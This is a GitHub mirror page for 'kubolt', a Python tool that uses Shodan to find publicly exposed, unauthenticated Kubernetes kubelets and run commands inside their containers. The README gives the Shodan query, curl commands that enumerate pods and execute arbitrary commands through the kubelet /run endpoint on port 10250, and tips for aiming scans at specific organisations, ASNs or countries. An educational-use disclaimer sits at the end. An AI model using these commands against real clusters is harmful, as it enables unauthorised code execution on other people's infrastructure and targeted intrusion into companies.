GithubHelp home page GithubHelp logo

hartl3y94 / kubolt Goto Github PK

View Code? Open in Web Editor NEW

This project forked from averonesis/kubolt

0.0 0.0 0.0 1.48 MB

Kubolt utility for scanning public kubernetes clusters

License: GNU General Public License v3.0

Python 100.00%

kubolt's Introduction

Wat?

Kubolt is simple utility for scanning public unauthinticated kubernetes clusters and run commands inside containers

Why?

Sometimes, the kubelet port 10250 is open to unauthorized access and makes it possible to run commands inside the containers using getrun function from kubelet:

// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
	params := getExecRequestParams(request)
	pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
	if !ok {
		response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
		return
	}

How?

Okay, let's ask our friend Shodan :trollface:

The basic query is

ssl:true port:10250 404

Kubelet uses port 10250 with SSL by default, 404 is the HTTP response without URL path.

Kubolt asks Shodan by API for list of IP addresses and keeps them for other OSINT actions ๐Ÿ˜

Firstly, let's ask Kubelet for running pods and filter hosts where response doesn't contain Unauthorized and contains container so we can run command inside it.

curl -k https://IP-from-Shodan:10250/runningpods/ 

Anyway, if you find the host without any running pods at the time, keep it for next time when pods might be started ๐Ÿ˜

You can list all available pods from these requests:

curl -k https://IP-from-Shodan:10250/pods/
#or
curl http://IP-from-Shodan:10255/pods/ 

Next kubolt parse response and generate a new request as below:

curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>" 

You can target companies more accurate using Shodan filters such as:

  • asn
  • org
  • country
  • net

Install

mkdir output
pip install -r requirements.txt 

Run

python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#or
python kubolt.py --query "org:'ACME Corporation' country:UK"

Shodan

Kubolt uses Shodan API and Query Credits accordingly, if you run the tool without query filters then you will probably fire all your credits ยฏ\_(ใƒ„)_/ยฏ

Demo

demo

Important

The Tool provided by the author should only be used for educational purposes. The author can not be held responsible for the misuse of the Tool. The author is not responsible for any direct or indirect damage caused due to the usage of the Tool.

kubolt's People

Contributors

averonesis avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.